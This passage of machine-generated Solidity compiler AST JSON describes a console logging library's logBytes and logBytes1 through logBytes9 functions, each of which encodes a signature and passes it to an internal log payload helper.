memory)"}},"id":23882,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2200:41:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23877,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"2184:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":23883,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2184:58:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23884,"nodeType":"ExpressionStatement","src":"2184:58:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes","nameLocation":"2134:8:15","parameters":{"id":23875,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23874,"mutability":"mutable","name":"p0","nameLocation":"2156:2:15","nodeType":"VariableDeclaration","scope":23886,"src":"2143:15:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":23873,"name":"bytes","nodeType":"ElementaryTypeName","src":"2143:5:15","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"2142:17:15"},"returnParameters":{"id":23876,"nodeType":"ParameterList","parameters":[],"src":"2174:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":23900,"nodeType":"FunctionDefinition","src":"2255:120:15","nodes":[],"body":{"id":23899,"nodeType":"Block","src":"2299:76:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733129","id":23894,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2349:13:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_6e18a1285e3dfba09579e846ff83d5e4ffae1b869c8fc4323752bab794e41041","typeString":"literal_string \"log(bytes1)\""},"value":"log(bytes1)"},{"id":23895,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23888,"src":"2364:2:15","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6e18a1285e3dfba09579e846ff83d5e4ffae1b869c8fc4323752bab794e41041","typeString":"literal_string \"log(bytes1)\""},{"typeIdentifier":"t_bytes1","typeString":"bytes1"}],"expression":{"id":23892,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2325:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23893,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2329:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"2325:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23896,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2325:42:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23891,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"2309:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":23897,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2309:59:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23898,"nodeType":"ExpressionStatement","src":"2309:59:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes1","nameLocation":"2264:9:15","parameters":{"id":23889,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23888,"mutability":"mutable","name":"p0","nameLocation":"2281:2:15","nodeType":"VariableDeclaration","scope":23900,"src":"2274:9:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"},"typeName":{"id":23887,"name":"bytes1","nodeType":"ElementaryTypeName","src":"2274:6:15","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},"visibility":"internal"}],"src":"2273:11:15"},"returnParameters":{"id":23890,"nodeType":"ParameterList","parameters":[],"src":"2299:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":23914,"nodeType":"FunctionDefinition","src":"2381:120:15","nodes":[],"body":{"id":23913,"nodeType":"Block","src":"2425:76:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733229","id":23908,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2475:13:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_e9b622960ff3a0e86d35e876bfeba445fab6c5686604aa116c47c1e106921224","typeString":"literal_string \"log(bytes2)\""},"value":"log(bytes2)"},{"id":23909,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23902,"src":"2490:2:15","typeDescriptions":{"typeIdentifier":"t_bytes2","typeString":"bytes2"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e9b622960ff3a0e86d35e876bfeba445fab6c5686604aa116c47c1e106921224","typeString":"literal_string \"log(bytes2)\""},{"typeIdentifier":"t_bytes2","typeString":"bytes2"}],"expression":{"id":23906,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2451:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23907,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2455:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"2451:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23910,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2451:42:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23905,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"2435:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":23911,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2435:59:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23912,"nodeType":"ExpressionStatement","src":"2435:59:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes2","nameLocation":"2390:9:15","parameters":{"id":23903,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23902,"mutability":"mutable","name":"p0","nameLocation":"2407:2:15","nodeType":"VariableDeclaration","scope":23914,"src":"2400:9:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes2","typeString":"bytes2"},"typeName":{"id":23901,"name":"bytes2","nodeType":"ElementaryTypeName","src":"2400:6:15","typeDescriptions":{"typeIdentifier":"t_bytes2","typeString":"bytes2"}},"visibility":"internal"}],"src":"2399:11:15"},"returnParameters":{"id":23904,"nodeType":"ParameterList","parameters":[],"src":"2425:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":23928,"nodeType":"FunctionDefinition","src":"2507:120:15","nodes":[],"body":{"id":23927,"nodeType":"Block","src":"2551:76:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733329","id":23922,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2601:13:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_2d8349266851a1d92746f90a9696920643311d6bf462d9fa11e69718a636cbee","typeString":"literal_string \"log(bytes3)\""},"value":"log(bytes3)"},{"id":23923,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23916,"src":"2616:2:15","typeDescriptions":{"typeIdentifier":"t_bytes3","typeString":"bytes3"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2d8349266851a1d92746f90a9696920643311d6bf462d9fa11e69718a636cbee","typeString":"literal_string \"log(bytes3)\""},{"typeIdentifier":"t_bytes3","typeString":"bytes3"}],"expression":{"id":23920,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2577:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23921,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2581:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"2577:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23924,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2577:42:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23919,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"2561:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":23925,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2561:59:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23926,"nodeType":"ExpressionStatement","src":"2561:59:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes3","nameLocation":"2516:9:15","parameters":{"id":23917,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23916,"mutability":"mutable","name":"p0","nameLocation":"2533:2:15","nodeType":"VariableDeclaration","scope":23928,"src":"2526:9:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes3","typeString":"bytes3"},"typeName":{"id":23915,"name":"bytes3","nodeType":"ElementaryTypeName","src":"2526:6:15","typeDescriptions":{"typeIdentifier":"t_bytes3","typeString":"bytes3"}},"visibility":"internal"}],"src":"2525:11:15"},"returnParameters":{"id":23918,"nodeType":"ParameterList","parameters":[],"src":"2551:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":23942,"nodeType":"FunctionDefinition","src":"2633:120:15","nodes":[],"body":{"id":23941,"nodeType":"Block","src":"2677:76:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733429","id":23936,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2727:13:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_e05f48d17f80c0f06e82dc14f4be9f0f654dde2e722a8d8796ad7e07f5308d55","typeString":"literal_string \"log(bytes4)\""},"value":"log(bytes4)"},{"id":23937,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23930,"src":"2742:2:15","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e05f48d17f80c0f06e82dc14f4be9f0f654dde2e722a8d8796ad7e07f5308d55","typeString":"literal_string \"log(bytes4)\""},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"expression":{"id":23934,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2703:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23935,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2707:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"2703:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23938,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2703:42:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23933,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"2687:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":23939,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2687:59:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23940,"nodeType":"ExpressionStatement","src":"2687:59:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes4","nameLocation":"2642:9:15","parameters":{"id":23931,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23930,"mutability":"mutable","name":"p0","nameLocation":"2659:2:15","nodeType":"VariableDeclaration","scope":23942,"src":"2652:9:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":23929,"name":"bytes4","nodeType":"ElementaryTypeName","src":"2652:6:15","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"2651:11:15"},"returnParameters":{"id":23932,"nodeType":"ParameterList","parameters":[],"src":"2677:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":23956,"nodeType":"FunctionDefinition","src":"2759:120:15","nodes":[],"body":{"id":23955,"nodeType":"Block","src":"2803:76:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733529","id":23950,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2853:13:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_a684808d222f8a67c08dd13085391d5e9d1825d9fb6e2da44a91b1a07d07401a","typeString":"literal_string \"log(bytes5)\""},"value":"log(bytes5)"},{"id":23951,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23944,"src":"2868:2:15","typeDescriptions":{"typeIdentifier":"t_bytes5","typeString":"bytes5"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a684808d222f8a67c08dd13085391d5e9d1825d9fb6e2da44a91b1a07d07401a","typeString":"literal_string \"log(bytes5)\""},{"typeIdentifier":"t_bytes5","typeString":"bytes5"}],"expression":{"id":23948,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2829:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23949,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2833:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"2829:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23952,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2829:42:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23947,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"2813:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":23953,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2813:59:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23954,"nodeType":"ExpressionStatement","src":"2813:59:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes5","nameLocation":"2768:9:15","parameters":{"id":23945,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23944,"mutability":"mutable","name":"p0","nameLocation":"2785:2:15","nodeType":"VariableDeclaration","scope":23956,"src":"2778:9:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes5","typeString":"bytes5"},"typeName":{"id":23943,"name":"bytes5","nodeType":"ElementaryTypeName","src":"2778:6:15","typeDescriptions":{"typeIdentifier":"t_bytes5","typeString":"bytes5"}},"visibility":"internal"}],"src":"2777:11:15"},"returnParameters":{"id":23946,"nodeType":"ParameterList","parameters":[],"src":"2803:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":23970,"nodeType":"FunctionDefinition","src":"2885:120:15","nodes":[],"body":{"id":23969,"nodeType":"Block","src":"2929:76:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733629","id":23964,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2979:13:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_ae84a5910824668818be6031303edf0f6f3694b35d5e6f9683950d57ef12d330","typeString":"literal_string \"log(bytes6)\""},"value":"log(bytes6)"},{"id":23965,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23958,"src":"2994:2:15","typeDescriptions":{"typeIdentifier":"t_bytes6","typeString":"bytes6"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ae84a5910824668818be6031303edf0f6f3694b35d5e6f9683950d57ef12d330","typeString":"literal_string \"log(bytes6)\""},{"typeIdentifier":"t_bytes6","typeString":"bytes6"}],"expression":{"id":23962,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2955:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23963,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2959:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"2955:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23966,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2955:42:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23961,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"2939:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":23967,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2939:59:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23968,"nodeType":"ExpressionStatement","src":"2939:59:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes6","nameLocation":"2894:9:15","parameters":{"id":23959,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23958,"mutability":"mutable","name":"p0","nameLocation":"2911:2:15","nodeType":"VariableDeclaration","scope":23970,"src":"2904:9:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes6","typeString":"bytes6"},"typeName":{"id":23957,"name":"bytes6","nodeType":"ElementaryTypeName","src":"2904:6:15","typeDescriptions":{"typeIdentifier":"t_bytes6","typeString":"bytes6"}},"visibility":"internal"}],"src":"2903:11:15"},"returnParameters":{"id":23960,"nodeType":"ParameterList","parameters":[],"src":"2929:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":23984,"nodeType":"FunctionDefinition","src":"3011:120:15","nodes":[],"body":{"id":23983,"nodeType":"Block","src":"3055:76:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733729","id":23978,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3105:13:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_4ed57e28813457436949e4ec0a834b3c8262cd6cebd21953ee0da3400ce2de29","typeString":"literal_string \"log(bytes7)\""},"value":"log(bytes7)"},{"id":23979,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23972,"src":"3120:2:15","typeDescriptions":{"typeIdentifier":"t_bytes7","typeString":"bytes7"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4ed57e28813457436949e4ec0a834b3c8262cd6cebd21953ee0da3400ce2de29","typeString":"literal_string \"log(bytes7)\""},{"typeIdentifier":"t_bytes7","typeString":"bytes7"}],"expression":{"id":23976,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"3081:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23977,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"3085:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"3081:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23980,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3081:42:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23975,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"3065:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":23981,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3065:59:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23982,"nodeType":"ExpressionStatement","src":"3065:59:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes7","nameLocation":"3020:9:15","parameters":{"id":23973,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23972,"mutability":"mutable","name":"p0","nameLocation":"3037:2:15","nodeType":"VariableDeclaration","scope":23984,"src":"3030:9:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes7","typeString":"bytes7"},"typeName":{"id":23971,"name":"bytes7","nodeType":"ElementaryTypeName","src":"3030:6:15","typeDescriptions":{"typeIdentifier":"t_bytes7","typeString":"bytes7"}},"visibility":"internal"}],"src":"3029:11:15"},"returnParameters":{"id":23974,"nodeType":"ParameterList","parameters":[],"src":"3055:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":23998,"nodeType":"FunctionDefinition","src":"3137:120:15","nodes":[],"body":{"id":23997,"nodeType":"Block","src":"3181:76:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733829","id":23992,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3231:13:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_4f84252e5b28e1a0064346c7cd13650e2dd6020728ca468281bb2a28b42654b3","typeString":"literal_string \"log(bytes8)\""},"value":"log(bytes8)"},{"id":23993,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23986,"src":"3246:2:15","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4f84252e5b28e1a0064346c7cd13650e2dd6020728ca468281bb2a28b42654b3","typeString":"literal_string \"log(bytes8)\""},{"typeIdentifier":"t_bytes8","typeString":"bytes8"}],"expression":{"id":23990,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"3207:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23991,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"3211:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"3207:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23994,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3207:42:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23989,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"3191:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":23995,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3191:59:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23996,"nodeType":"ExpressionStatement","src":"3191:59:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes8","nameLocation":"3146:9:15","parameters":{"id":23987,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23986,"mutability":"mutable","name":"p0","nameLocation":"3163:2:15","nodeType":"VariableDeclaration","scope":23998,"src":"3156:9:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"},"typeName":{"id":23985,"name":"bytes8","nodeType":"ElementaryTypeName","src":"3156:6:15","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}},"visibility":"internal"}],"src":"3155:11:15"},"returnParameters":{"id":23988,"nodeType":"ParameterList","parameters":[],"src":"3181:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24012,"nodeType":"FunctionDefinition","src":"3263:120:15","nodes":[],"body":{"id":24011,"nodeType":"Block","src":"3307:76:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733929","id":24006,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3357:13:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_90bd8cd0463fe91d31e59db57ee4cf8d778374c422b4b50e841266d9c2cc6667","typeString":"literal_string \"log(bytes9)\""},"value":"log(bytes9)"},{"id":24007,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24000,"src":"3372:2:15","typeDescriptions":{"typeIdentifier":"t_bytes9","typeString":"bytes9"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_90bd8cd0463fe91d31e59db57ee4cf8d778374c422b4b50e841266d9c2cc6667","typeString":"literal_string 